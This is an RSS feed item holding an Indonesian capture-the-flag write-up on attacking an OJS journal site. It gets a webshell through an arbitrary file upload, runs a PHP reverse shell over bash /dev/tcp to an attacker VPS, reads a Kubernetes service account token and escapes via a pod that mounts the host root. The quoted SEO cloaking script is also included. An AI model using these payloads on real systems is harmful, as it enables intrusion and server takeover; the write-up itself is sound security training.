<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>web pentesting Arsip - Bhineka blog</title>
	<atom:link href="https://blog.bhineka-tech.org/category/web-pentesting/feed/" rel="self" type="application/rss+xml" />
	<link>https://blog.bhineka-tech.org/category/web-pentesting/</link>
	<description></description>
	<lastBuildDate>Fri, 29 Aug 2025 17:27:23 +0000</lastBuildDate>
	<language>id</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.8.2</generator>

<image>
	<url>https://blog.bhineka-tech.org/wp-content/uploads/2024/10/logo-bintek-min.jpg</url>
	<title>web pentesting Arsip - Bhineka blog</title>
	<link>https://blog.bhineka-tech.org/category/web-pentesting/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>WriteUp Hacking Challenge &#8211; Bhineka Tech</title>
		<link>https://blog.bhineka-tech.org/2025/07/29/writeup-hacking-challenge-bhineka-tech/</link>
					<comments>https://blog.bhineka-tech.org/2025/07/29/writeup-hacking-challenge-bhineka-tech/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Tue, 29 Jul 2025 05:55:07 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[red team]]></category>
		<category><![CDATA[web exploitation]]></category>
		<category><![CDATA[web pentesting]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=557</guid>

					<description><![CDATA[<p>Ya sekian beberapa hari ini akhirnya ada waktu untuk membuat artikel jadi disini aku akan memberikan detail bagaimana menyelesaikan challenge yang sebelumnya aku share pada group Bhineka Tech, dengan deskripsi sebagai berikut Jadi kita diminta untuk mendapatkan flag user dan root yang berada pada directory yang sudah ditentukan diantaranya yaitu /root dan /var/www/html, nah uniknya [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/07/29/writeup-hacking-challenge-bhineka-tech/">WriteUp Hacking Challenge &#8211; Bhineka Tech</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Ya sekian beberapa hari ini akhirnya ada waktu untuk membuat artikel jadi disini aku akan memberikan detail bagaimana menyelesaikan challenge yang sebelumnya aku share pada group Bhineka Tech, dengan deskripsi sebagai berikut</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-25dbc8fd7bd55d167cb2c9a937337ec3"><code>Pentesting &amp; Hacking Challenge

host: http://157.230.255.81/

Description:
Rafli seorang freelance web developer mendapatkan client di salah satu universitas swasta yang dimana client tersebut meminta untuk dibuatkan website publikasi jurnal ilmiah, dengan deadline 2 minggu. Rafli pun bersedia, dan kurang dari waktu yang ditentukan, Rafli menyelesaikan websitenya dan langsung dilakukan deployment oleh pihak kampus. Selang beberapa minggu terdapat anomaly log dan ditemukan file berupa sitemap.xml, google1337.html pada document_root yang terindikasi digunakan untuk blackhat seo perjudian.

Task:
Sebagai seorang security engineer, bantu Rafli mengidentifikasi kerentanan pada aplikasi yang dibuatnya dan lakukan evaluasi sampai sejauh mana attacker mendapatkan akses pada server.

Format flag: bhitech{}
Level: Medium / up to you

Note: ada 2 flag, yaitu user dan root. root flag berada pada directory /root sedangkan user flag berada pada /var/www/html dan server direset tiap 1 jam 30 menit sekali 

Clue ? Kubernetes breakout</code></pre>



<p>Jadi kita diminta untuk mendapatkan flag user dan root yang berada pada directory yang sudah ditentukan diantaranya yaitu /root dan /var/www/html, nah uniknya pada deskripsi juga terdapat tambahan clue yakni Kubernetes Breakout, dan sepertinya terkait dengan misconfiguration dan escape pada pods di kubernetes jadi mari kita bedah lebih lanjut</p>



<p>Jika dibuka via browser, disuguhkan website yang menggunakan CMS OJS(Open Journal System)</p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="534" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-1024x534.png" alt="" class="wp-image-558" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-1024x534.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-300x156.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-768x400.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-1536x800.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image.png 1894w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>OJS ini merupakan suatu platform / CMS untuk publikasi jurnal ilmiah dan CMS ini open source, namun pada OJS sendiri sudah lama terdapat banyak security issue yang beredar mulai dari versi 2.x.x hingga 3.x.x dan banyak dimanfaatkan oleh script kiddies maupun hacker pemula untuk melakukan akses ilegal karena kemudahan exploitnya </p>



<p>Contohnya seperti di github issue ini <a href="https://github.com/pkp/pkp-lib/issues/7786 ">https://github.com/pkp/pkp-lib/issues/7786 </a>lalu di cxsecurity mengenai PoC-nya <a href="https://cxsecurity.com/issue/WLB-2021100133">https://cxsecurity.com/issue/WLB-2021100133</a> dan juga ada artikel yang menyebutkan jika OJS ini mengidap suatu zeroday <a href="https://openjournaltheme.com/urgent-critical-vulnerabilities-in-3-3-0-18-upgrade-your-ojs-now/">https://openjournaltheme.com/urgent-critical-vulnerabilities-in-3-3-0-18-upgrade-your-ojs-now/</a></p>



<p>Jika kita inspect element dan membuka tab network, akan banyak file yang diload dan terdapat indikasi versi OJS yang dipakai </p>



<figure class="wp-block-image size-full"><img decoding="async" width="981" height="555" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-2.png" alt="" class="wp-image-560" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-2.png 981w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-2-300x170.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-2-768x434.png 768w" sizes="(max-width: 981px) 100vw, 981px" /></figure>



<p>Pada kasus challenge ini, terlihat OJS memakai version 3.2.1.1 yang kita bisa langsung melihat source code pada githubnya <a href="https://github.com/pkp/ojs/tree/3_2_1-1">https://github.com/pkp/ojs/tree/3_2_1-1</a></p>



<p>Dan sebenarnya untuk melakukan exploitnya cukup mudah karena banyaknya PoC yang disediakan. Karena kerentanannya terkait dengan Arbitrary File Upload, hal paling tricky disini adalah mencari path webshell setelah diupload.</p>



<p>PoC ?</p>



<ul class="wp-block-list">
<li>Register pada http://157.230.255.81/index.php/bhitech/user/register</li>



<li>Setelah register, kemudian pilih <strong>make a new submission</strong></li>



<li>Centang semua pada step 1</li>



<li>Kemudian step 2, disini akan ada modal untuk melakukan upload file</li>



<li>Upload file webshell / malicious dengan extension .phtml</li>
</ul>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="535" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-3-1024x535.png" alt="" class="wp-image-561" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-3-1024x535.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-3-300x157.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-3-768x401.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-3.png 1430w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini sebenarnya file telah berhasil di upload pada server, dan seperti yang dikatakan sebelumnya jika kita perlu mencari path aktual dari file yang diupload. jika kita mengclick file yang terupload maka nama akan berubah menjadi 1-Article Text-1-1-2-20250727.phtml dan hal ini bisa menjadi acuan petunjuk tambahan.</p>



<p>Sedikit info, path file pada OJS sendiri bisa di custom yakni saat instalasi, admin bisa melakukan custom folder untuk file journal seperti /files, /data, /ojs ataupun lainnya dan bahkan untuk lebih securenya, secara default path file bisa diluar dari document_root pada website, misalkan webroot berada pada /var/www/html/, file journal bisa diletakkan di /var/www/files/ dan dalam hal ini yang tidak memungkinkan dilakukan exploitation.</p>



<p>Setelah itu kita bisa melakukan enumeration directory, dalam hal ini aku menggunakan dirsearch</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="608" height="350" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-4.png" alt="" class="wp-image-562" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-4.png 608w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-4-300x173.png 300w" sizes="auto, (max-width: 608px) 100vw, 608px" /></figure>



<p>Disini ditemukannya directory /files, dan ternyata directory listingnya kebuka </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="556" height="523" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-5.png" alt="" class="wp-image-563" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-5.png 556w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-5-300x282.png 300w" sizes="auto, (max-width: 556px) 100vw, 556px" /></figure>



<p>Terdapat suatu file catatan.txt disini, dan jika kita buka </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-84752b9e80570c34142b787e7c247aa8"><code>Di sebuah rumah di perbatasan kabupaten magetan, tinggallah seorang yang bernama Rafli. Rafli ini sehari sehari bekerja freelance sebagai web developer yang suatu ketika ada client dari universitas swasta, sebut saja universitas siber yang meminta untuk membuat platform publikasi jurnal ilmiah. Akhirnya setelah berbincang bincang via telpon mereka sepakat dengan deadline 2 minggu untuk aplikasinya ini dapat digunakan

tak berfikir lama Rafli langsung mengunduh sebuah CMS yang dinamakan OJS(open journal system). Rafli sempat mengunjungi github https://github.com/pkp/ojs dengan melihat sekilas source codenya karena sifatnya yang open source dan Rafli yakin dengan memakai OJS ini dengan memodifikasi-nya sedikit agar sesuai yang diminta client-nya

Rafli tak peduli dengan banyak security issue yang terdampak pada OJS ini, yang difikirkan Rafli yang penting sesuai dan memangkas waktu agar deadline 2 minggu ini terselesaikan dengan baik. Yang akhirnya pilihan Rafli sudah bulat dimana setelah itu dia meminta suatu VPS kepada pihak client agar aplikasinya dapat di deploy

Rafli mengerjakan project ini dengan kurang dari 2 minggu dan Rafli juga tidak sempat membaca dokumentasi best practice dari OJS terutama masalah security, Rafli juga tidak membaca issue github seseorang yang terkena hacking pada website OJS-nya https://github.com/pkp/pkp-lib/issues/7786 terlebih Rafli juga tidak riset terkait seseorang menggunakan exploit zeroday pada OJS ini https://openjournaltheme.com/urgent-critical-vulnerabilities-in-3-3-0-18-upgrade-your-ojs-now/

Yang akhirnya setelah semuanya beres, sesuai kesepakatan dengan deadline 2 minggu maka mereka sepakat mempublikasikan ke internet dan kedua belah pihak sangat senang dimana Rafli mendapatkan uang dari project ini sementara pihak kampus mempunyai platform journal-nya sendiri. Hingga selang beberapa waktu, ternyata benar saja traffic mulai melonjak yang mengakibatkan website hampir down, dengan pendekatan yang pas, akhirnya pihak kampus melalui sysadminnya mengkonfigurasi load balancing dan auto scalling pada aplikasinya menggunakan kubernetes dan dimana node worker pada OJS-nya dibuat menjadi beberapa POD seperti apache dan mysql dipisah dalam pod yang berbeda

Hari demi hari platform OJS-nya berjalan lancar sampai akhirnya mereka menyadari ada anomaly log yang berbeda dan ada yang melakukan takeover kepemilikan pada websitenya melalui google search console, sontak membuat sysadmin terkejut karena tidak ada perubahan yang signifikan pada websitenya sampai menyadari ada perubahan datetime pada index.php dan tambahan file pada directory webrootnya seperti sitemap.xml, google1337.html dan index.txt, indexx.php. dan setelah itu sysadmin mecoba membuka index.php dengan isi

```
&lt;?php
$googleBots = &#91;
    'Googlebot',
    'Googlebot-Mobile',
    'Googlebot-Image',
    'Mediapartners-Google', 
    'AdsBot-Google',
    'Feedfetcher-Google'
];


$userAgent = $_SERVER&#91;'HTTP_USER_AGENT'] ?? '';

$isGoogleBot = false;
foreach ($googleBots as $bot) {
    if (stripos($userAgent, $bot) !== false) {
        $isGoogleBot = true;
        break;
    }
}

if ($isGoogleBot) {
    include 'index.txt';
} else {
    include 'indexx.php';
}
?&gt;
```
Dan setelah menyadari script tersebut merupakan cloacking yang bertujuan untuk memanipulasi crawler dan googlebot dengan menampilkan konten yang berbeda dan seringkali digunakan di kalangan blackhat SEO. Dan benar saja website muncul rank 1 di mesin pencari google dengan keyword "Toto Gacor"

sysadmin menghubungi Rafli untuk memperoleh informasi dari aplikasi yang dibuatnya dan menjelaskan jika website diretas oleh hacker judol yang berafiliasi dengan para bandar di kamboja, karena ada indikasi kuat IP dari log yang di analysis tersebut berada di kota poipet.

Disini sysadmin meghubungi Rafli bukan semata mata hanya karena aplikasi OJS-nya saja, tapi karena server tersebut sudah terintegrasi dengan kubernetes dan takutnya para hacker ini melakukan escape dan breakout pada containernya sehingga dapat mengakses host utama

setelah dihubungi pihak universitas, Rafli juga terkejut dan menghubungi temannya yang bekerja sebagai red teamer dan paham terkait security, sebut saja Rimba. Disini Rimba menjelaskan kerentanan di OJS yang cukup umum dan sangat mudah dilakukan exploitation

Rimba menjelaskan dengan sangat detail dan memberi tahu Rafli jika kerentanan terletak pada file /lib/pkp/classes/file/FileManager.inc.php dengan code berikut :

```
function parseFileExtension($fileName) {
                $fileParts = explode('.', $fileName);
                if (is_array($fileParts) &amp;&amp; count($fileParts) &gt; 1) {
                        $fileExtension = $fileParts&#91;count($fileParts) - 1];
                }

                // FIXME Check for evil
                if (!isset($fileExtension) || stristr($fileExtension, 'php') || strlen($fileExtension) &gt; 6 || !preg_match('/^\w+$/', $fileExtension)) {
                        $fileExtension = 'txt';
                }

                // consider .tar.gz extension
                if (strtolower(substr($fileName, -7)) == '.tar.gz') {
                        $fileExtension = substr($fileName, -6);
                }

                return $fileExtension;
        }
```
dan juga pada ./lib/pkp/classes/context/LibraryFile.inc.php

```
function getFilePath() { 
	$contextId = $this-&gt;getContextId(); 
	return Config::getVar('files', 'files_dir') . '/contexts/' . $contextId . '/library/' . $this-&gt;getServerFileName(); 

}
function &amp;getTypeSuffixMap() { 
	static $suffix = array( 
	    LIBRARY_FILE_TYPE_MARKETING =&gt; 'MAR', 
	    LIBRARY_FILE_TYPE_PERMISSION =&gt; 'PER', 
		LIBRARY_FILE_TYPE_REPORT =&gt; 'REP', 
		LIBRARY_FILE_TYPE_OTHER =&gt; 'OTH' 
	); 
	return $suffix; 
} 
$fileName = $baseName . '-' . $suffix . '.' . $ext;
```
Yang intinya ada semacam kerentanan yang dapat mengarah ke RCE dan dapat digunakan takeover suatu server, dan setelah dijelaskan baru Rafli paham kenapa bisa terjadi dan dengan bantuan Rimba, akhirnya kerentanan dapat dilakukan patching dan mitigasi serta membuat file OJS tidak dapat diakses dari document rootnya.

~xpl0dec </code></pre>



<p>Didalam catatan itu terdapat mengenai perbincangan dari Rafli dan Sysadmin kampus mengenai OJS-nya diretas yang digunakan untuk promosi judi online dan juga tedapat deskripsi singkat mengenai kerentanan beserta source codenya.</p>



<p>Umumnya ada beberapa path static atau pola directory file OJS yang terupload yaitu untuk version 2.x.x /journals/[stageId]/articles/[submissionId]/submission/original/[namafilenya] sementara untuk version 3.x.x /journals/[stageId]/articles/[submissionId]/submission/[namafilenya]  </p>



<p>apa itu journalid dan articleid ? jadi setelah file diupload kita bisa klik file untuk download dan akan request ke endpoint berikut <br>/index.php/bhitech/$$$call$$$/api/file/file-api/download-file?fileId=1&amp;revision=1&amp;submissionId=1&amp;stageId=1, ada beberapa hal yang diperhatikan disini yang dimana stageId=1 merupakan path id pada stage sementara submissionId terkait path setelah artice dalam hal ini 1 dan jika kita kombinasikan menjadi path seperti ini /files/journals/1/articles/1/submission/[namafile]</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="363" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-6-1024x363.png" alt="" class="wp-image-564" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-6-1024x363.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-6-300x106.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-6-768x272.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-6.png 1329w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Masih notfound, dan sepertinya ada yang salah jadi mari kita breakdown dan analysis dari source codenya, dan disini bisa ditemukan fungsi getClientFileName() pada file https://github.com/pkp/pkp-lib/blob/6c34557418261be3ca50b797acb144f9332ca239/classes/submission/SubmissionFile.inc.php#L297</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="883" height="488" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-7.png" alt="" class="wp-image-565" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-7.png 883w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-7-300x166.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-7-768x424.png 768w" sizes="auto, (max-width: 883px) 100vw, 883px" /></figure>



<p>disini sebenarnya yang diubah hanya pada bagian $genre-&gt;getLocalizedName() dan jika kita gulir kebawah juga ditemukan fungsi _generateFileName()</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="818" height="411" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-8.png" alt="" class="wp-image-566" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-8.png 818w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-8-300x151.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-8-768x386.png 768w" sizes="auto, (max-width: 818px) 100vw, 818px" /></figure>



<p>Kita bisa menebak jika, nama file seperti ini 1-Article Text-1-1-2-20250729.phtml maka pada bagian Artice Text akan diubah ke bentuk integer 1-[getGenreId()]-1-1-2-20250729.phtml</p>



<p>fungsi getGenreId() dan variable $genre memanggil class GenreDAO dari file https://github.com/pkp/pkp-lib/blob/main/classes/submission/GenreDAO.php#L4</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="803" height="438" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-9.png" alt="" class="wp-image-567" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-9.png 803w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-9-300x164.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-9-768x419.png 768w" sizes="auto, (max-width: 803px) 100vw, 803px" /></figure>



<p>yang dimana merupakan query database yang melakukan get data pada tables genres, dan kemudian melakukan return pada fungsi _fromRow()</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="928" height="541" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-10.png" alt="" class="wp-image-570" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-10.png 928w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-10-300x175.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-10-768x448.png 768w" sizes="auto, (max-width: 928px) 100vw, 928px" /></figure>



<p>_fromRow mengambil tables <code>genre_settings</code> pada database yang dimana isi dari genre_settings merupakan list dari topik jurnal yang akan dipublikasikan </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="274" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11-1024x274.png" alt="" class="wp-image-571" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11-1024x274.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11-300x80.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11-768x205.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11-1536x411.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11.png 1661w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>yang dimana disini, bisa kita asumsikan jika result dari genreId() merupakan data yang diambil dari column <code>genre_id</code> pada tables genres dan genre_setting dan bisa disimpulkan jika list jurnal seperti Aritcle Text sampai other akan dikonversikan sesuai dari genre_id nya seperti :</p>



<ul class="wp-block-list">
<li>Article Text : 1</li>



<li>Research Instrument : 2</li>



<li>Research Materials : 3</li>



<li>Research Results : 4</li>



<li>Transcripts : 5</li>
</ul>



<p>hingga seterusnya sampai bagian other di genre_id 12, yang berarti jika nama file 1-Article Text-1-1-2-20250729.phtml akan menjadi 1-1-1-1-2-20250729.phtml</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="426" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12-1024x426.png" alt="" class="wp-image-572" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12-1024x426.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12-300x125.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12-768x320.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12-1536x639.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12.png 1716w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Dan path valid yang menampilkan informasi php, dan lanjut kita coba untuk melakukan reverse shell </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-239e37e590c1870932611edd7139ec1e"><code>&lt;?php

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("file", "/dev/null", "a") // stderr is a file to write to
);

$process = proc_open("/bin/bash -c 'bash -i >&amp; /dev/tcp/&#91;ip_vps]/&#91;portnya] 0>&amp;1'", $descriptorspec, $pipes);

if(is_resource($process)) {
    echo "&lt;pre>" . stream_get_contents($pipes&#91;1]);
    fclose($pipes&#91;1]);
}
?></code></pre>



<p>Menggunakan code php dengan fungsi proc_open kita bisa menjalankan bash command yang akan melakukan reverse shell ke VPS yang kita tentukan.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="693" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-13-1024x693.png" alt="" class="wp-image-573" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-13-1024x693.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-13-300x203.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-13-768x520.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-13.png 1252w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini kita berhasil melakukan gaining access dan mendapatkan user flag </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-5a8a5fb6f77037dd4c29a6bb0ec4b264"><code>bhitech{M4S1h_ScRipT_k1ddiEs}

untuk root flagnya, gunakan otak dan kemampuan hackingmu.
sedikit clue mungkin membantu https://kubernetes.io/docs/reference/access-authn-authz/authentication/</code></pre>



<p>Pada file flag juga disertakan clue yang terkait dengan kubernetes serta diberikan refrensi link dokumentasi tentang access authentication pada kubernetes itu sendiri. Jadi kita bahas sedikit tentang kubernetes agar kita lebih paham. Kubernetes disebut sebagai Container Orchestration yang berfungsi untuk melakukan deploy, scaling dan management container secara otomatis, dan biasanya kubernetes itu digunakan pada aplikasi yang berbasis microservice maupun aplikasi dengan skala yang besar.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="669" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster-1024x669.png" alt="" class="wp-image-575" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster-1024x669.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster-300x196.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster-768x502.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster-1536x1003.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster.png 1600w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Arsitektur kubernetes bisa dilihat pada gambar diatas yaitu terdapat beberapa component penting yang perlu kita ketahui, pertama ada cluster yang merupakan suatu wadah besar yang menampung Node, Control Plane dan utilitas lain dari kubernetes. sedangkan ada Control Plane yang digunakan untuk mengelola node melalui API server dan controller manager atau bisa dibilang Control Plane/Master Node ini server yang mengontrol semua worker node sementara Worker Node itu client-nya yang berisi pod dan container yang dilakukan otomatisasi dan dikontrol oleh master node. Mungkin teman teman bisa langsung cek dokumentasi lebih lanjut untuk lebih memahami kubernetes ini  </p>



<p>Kembali pada topik utama, jika kita baca baca pada refrensi diatas pada bagian service account, dikatakan seperti ini</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="874" height="201" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-14.png" alt="" class="wp-image-574" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-14.png 874w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-14-300x69.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-14-768x177.png 768w" sizes="auto, (max-width: 874px) 100vw, 874px" /></figure>



<p>Disini menarik karena service account tokens pada kubernetes disimpan didalam secret API object yang mana user manapun dengan kemampuan write bisa melakukan request token dan user yang mempunyai izin baca bisa melakukan authentikasi menjadi service account dan disana diperingatkan juga jika harus hati hati saat memberikan permission pada service account.</p>



<p>Jadi jika service account itu diberikan kemampuan yang mumpuni misalkan untuk membuat pods baru dan eksekusi pods maka potensi melakukan breakout/escape pada kubernetes sangat mungkin dikarenakan kita bisa melakukan mounting directory pada host utama.</p>



<p>Contoh rules yaml-nya seperti berikut :</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-e65dacb59b848226dc2b6c14a321f2f6"><code>rules:
- apiGroups:
  - ""
  resources: &#91;"pods", "pods/exec"]
  verbs: &#91;"get", "list", "create", "update", "delete", "exec", "watch", "patch", "edit"]</code></pre>



<p>Dimana disini verbs atau izin, bisa melakukan apapun yang dimana hal ini bisa disalahgunakan dengan membuat pods baru. Jadi kita coba melakukan practicalnya, pertama kita perlu tools untuk berkomunikasi dengan API server di control plane menggunakan kubectl</p>



<p><a href="https://kubernetes.io/docs/tasks/tools">https://kubernetes.io/docs/tasks/tools</a></p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-50a674d6fd413167569cbab00c26f6ed"><code>cd /tmp; curl -LO "https://dl.k8s.io/release/<strong>$(</strong>curl -L -s https://dl.k8s.io/release/stable.txt<strong>)</strong>/bin/linux/amd64/kubectl"
</code></pre>



<p>Untuk melakukan identifikasi jika yang kita compromised itu merupakan pods pada kubernetes, kita bisa membaca access token pada /var/run/secrets/kubernetes.io/serviceaccount/token dan jika outputnya merupakan string acak berarti kita berada pada container yang di isolasi.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="160" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-15-1024x160.png" alt="" class="wp-image-576" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-15-1024x160.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-15-300x47.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-15-768x120.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-15.png 1224w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Kemudian kita cek permission dengan command <em>kubectl auth can-i &#8211;list</em></p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="524" height="129" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-16.png" alt="" class="wp-image-577" style="width:795px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-16.png 524w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-16-300x74.png 300w" sizes="auto, (max-width: 524px) 100vw, 524px" /></figure>



<p>Terlihat tanda * artinya disini kita bisa melakukan apapun pada pods dalam namespace yang kita gunakan saat ini, jadi disini kita mempunyai high privilege karena misconfiguration dari service account. Idenya kita akan membuat pods baru yang melakukan mounting pada host utama, jadi mari kita buat PoC yaml-nya</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-871f0b835b64a91eaf3d3a9239e93ff0"><code>apiVersion: v1
kind: Pod
metadata:
  name: privesc
spec:
  containers:
    - name: privesc
      image: busybox:1.28
      command: &#91;'sh', '-c', 'echo "Privilege Escalation Payload" &amp;&amp; tail -f /dev/null']
      volumeMounts:
        - name: mounting
          mountPath: /tmp/main-host/
  volumes:
    - name: mounting
      hostPath:
        path: /</code></pre>



<p>yaml diatas merupakan script kubernetes untuk membuat pods baru dan dalam hal ini kita menamakan pods tersebut dengan &#8220;privesc&#8221; dan juga kita akan membuild container dari image busybox karena disini aku memilih busybox karena ukurannya yang relatif kecil, kemudian setelah itu kita melakukan volumeMount yang akan melakukan mounting host utama ke directory /tmp/main-host/ didalam container.</p>



